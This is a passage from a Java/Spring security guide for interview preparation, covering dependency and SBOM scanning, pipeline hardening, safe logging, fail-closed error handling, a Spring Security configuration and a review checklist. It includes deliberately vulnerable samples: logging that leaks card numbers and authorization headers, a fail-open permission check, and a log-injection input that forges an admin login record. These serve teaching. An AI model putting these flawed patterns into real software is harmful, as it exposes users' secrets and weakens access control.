Scan Maven dependencies for CVEs mvn org.owasp:dependency-check-maven:12.2.2:check -Dnvd.api.key=$NVD_API_KEY
The same with Gradle ./gradlew dependencyCheckAnalyze
Produce a CycloneDX SBOM from Maven mvn org.cyclonedx:cyclonedx-maven-plugin:2.9.2:makeAggregateBom
Scan code, dependencies, secrets and config trivy fs --scanners vuln,secret,misconfig --severity HIGH,CRITICAL --exit-code 1 .
Scan a container image trivy image --scanners vuln --ignore-unfixed myapp:1.4.2
Scan with Snyk and a failure threshold snyk test --severity-threshold=high
Find out why a version was chosen (Gradle) ./gradlew dependencyInsight --configuration runtimeClasspath --dependency jackson-databind

In pom.xml the plugin takes <failBuildOnCVSS>7</failBuildOnCVSS> and a <suppressionFile>.

Since version 9, dependency-check uses the NVD API rather than the old data feeds; without an API key the database update is extremely slow and prone to throttling. The key is free and belongs in CI as a secret, not hard-coded.

Hardening the pipeline: pin dependencies to exact versions (LATEST/RELEASE banned); pin CI actions by commit SHA, not a movable tag; pin base images by digest (FROM eclipse-temurin:25-jre@sha256:...); use a signed internal registry; and watch for dependency confusion — if your internal package name is unclaimed publicly, somebody can publish it at a higher version and your build picks it up.

Alert floods blind the team

Break the build on "any CVE of any severity" and within two weeks everyone has learned to suppress. A workable policy: fail only on CRITICAL/HIGH findings that have a fix and sit on the runtime classpath; the rest becomes an issue with an SLA. Every suppression needs an expiry and a reason, or the suppression file becomes its own security debt.

"What is an SBOM and what does it solve that a scanner doesn't?"

Answer: An SBOM is a machine-readable inventory of every component in an artifact generated at build time and stored alongside it. A scanner says "what is vulnerable today"; an SBOM says "what runs in production right now". When a zero-day lands, "which services carry that library, at which version?" must be answered in minutes, and re-scanning every repository cannot. The stored SBOM also records what was actually built, not what pom.xml says today.


11. Logging, errors and exceptional conditions (A09 and A10)

// VULNERABLE: these two lines have leaked more credentials than any exploit
log.info("Calling payment API with request: {}", request);   // request holds the card PAN
log.debug("Authorization header = {}", authorizationHeader);

// SAFE: structured, minimal, explicit fields only
log.info("payment.initiated orderId={} amount={} pan={}",
        order.id(), order.amount(), mask(card.pan()));
@ExceptionHandler(Exception.class)
public ResponseEntity<ProblemDetail> onUnexpected(Exception ex) {
    String traceId = MDC.get("traceId");
    log.error("unhandled exception traceId={}", traceId, ex);   // full detail to the log only
    ProblemDetail body = ProblemDetail.forStatusAndDetail(HttpStatus.INTERNAL_SERVER_ERROR,
            "An unexpected error occurred. Reference: " + traceId);
    return ResponseEntity.status(HttpStatus.INTERNAL_SERVER_ERROR).body(body);
}

And in configuration: server.error.include-stacktrace=never, together with include-message=never and include-binding-errors=never.

A silent `fail open` is the worst form of A10

The pattern you really see: a catch (Exception e) { return true; } inside a permission check, or a circuit breaker returning "allow everyone" while the authorization service is down. Security controls must fail closed — a fallback must never grant access (resilience). The second issue here is log injection: a user named alice\n2026-07-30 INFO admin login succeeded forges a record in a plain-text log and poisons incident analysis. Defences: structured JSON logging, or in Logback %replace(%msg){'[\r\n]', '_'} (see logging).


12. A reference Spring Security configuration

A realistic starting point for a server-rendered app with cookie sessions (Spring Boot 4 / Spring Security 7):

@Configuration
@EnableWebSecurity
@EnableMethodSecurity      // enables @PreAuthorize / @PostAuthorize
public class SecurityConfig {

    @Bean
    SecurityFilterChain filterChain(HttpSecurity http,
                                    CorsConfigurationSource corsSource) throws Exception {
        http
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/", "/login", "/css/**", "/actuator/health").permitAll()
                .requestMatchers("/admin/**").hasRole("ADMIN")
                .anyRequest().authenticated())              // secure by default

            .csrf(csrf -> csrf
                .csrfTokenRequestHandler(new XorCsrfTokenRequestAttributeHandler()))

            .cors(cors -> cors.configurationSource(corsSource))

            .headers(headers -> headers /* the CSP, Referrer-Policy, Permissions-Policy
                                            and HSTS block shown earlier goes here */)

            .sessionManagement(session -> session
                .sessionFixation(fixation -> fixation.changeSessionId())
                .maximumSessions(3))

            .formLogin(form -> form
                .loginPage("/login")
                .failureUrl("/login?error")                 // never reveal which part failed
                .permitAll())

            .logout(logout -> logout
                .invalidateHttpSession(true)
                .deleteCookies("SESSION"));

        return http.build();
    }

    @Bean
    PasswordEncoder passwordEncoder() {
        return PasswordEncoderFactories.createDelegatingPasswordEncoder();
    }
}
Laying out multiple `SecurityFilterChain`s

With both a server-rendered UI and a stateless API, build two separate chains rather than one full of conditionals: the API chain is scoped with securityMatcher("/api/**"), takes sessionCreationPolicy(STATELESS), has no CSRF (it only accepts Bearer) and wires up oauth2ResourceServer. Ordering comes from @Order, most specific first.


13. How a real security review runs

Security pipeline — خط لولهٔ امنیت در چرخهٔ تحویل:

flowchart LR
    A[Design] -->|threat model| B[Code]
    B -->|SAST plus secret scan| C[Build]
    C -->|SCA plus SBOM| D[Artifact]
    D -->|image scan| E[Deploy]
    E -->|DAST plus config audit| F[Runtime]
    F -->|logs, alerts, bug bounty| A

SAST works on code without running it and is noisy, so tune its rules. Secret scanning belongs in a pre-commit hook and in CI; a secret committed once stays in history — after discovery, rotate it. SCA is the tooling above plus SBOM generation, DAST runs against the deployed app, and manual review covers what tools are blind to: business logic, object-level authorization, and multi-step flows such as password recovery. Pen tests and bug bounties validate, they do not replace.

A checklist for reviewing a PR: (1) where did the data enter and which interpreter does it reach? (2) does every access path check ownership, or only authentication? (3) is input bound to an explicit DTO or straight onto an entity? (4) do we fail closed, and did a secret reach the logs? (5) does a new endpoint have rate limiting, an audit event and an authorization test?

"You get an unfamiliar application and one day. How do you review it?"

Answer: In order of return on effort. Hour 1: map the attack surface — endpoints (from OpenAPI or the filters), authentication mechanism, trust boundaries. Hours 2–3: authorization, because A01 is the most common; I hunt endpoints taking an identifier from the path without an ownership check. Hour 4: interpreter boundaries — grep for SQL concatenation, utext/innerHTML, ProcessBuilder, ObjectInputStream, XML parsers. Hour 5: configuration — actuators, CORS, headers, cookies, errors. Hour 6: dependencies and secrets. And I report findings as risk, not a bug list.

Wrap-up
  • Nearly every web vulnerability is born on a trust boundary; find the boundaries first, then hunt for bugs. The Injection family has a single root too: data and command mixed together. The defence is a separate channel (PreparedStatement, JPA parameters, ProcessBuilder with argv), and for unbindable parts such as ORDER BY, only an allowlist.
  • XSS is closed by context-aware encoding, not one universal escape function; CSP with a nonce is the second line, and HttpOnly only reduces impact.
  • CSRF matters only when the browser attaches the credential automatically: SameSite is the baseline, the synchronizer token the main defence, csrf().disable() is justified only with Bearer. Broken Access Control is number one for 2025 and no tool finds it: push ownership into the query or the data layer (RLS/VPD); SSRF lives here now too.
  • Insecure deserialization executes code before any type check; best is not to deserialize untrusted data at all, then an ObjectInputFilter ending in !*.
  • The supply chain (A03:2025) needs an SBOM at build time and fast patching; configuration and exceptional conditions are the risers of 2025: complete your headers, lock down the actuator, keep errors quiet, fail closed.
  • In interviews, what marks a senior is not listing attacks but articulating the mechanism, the trade-off and the order of action: why this defence works, what it costs, and which one you would ship first with only an hour.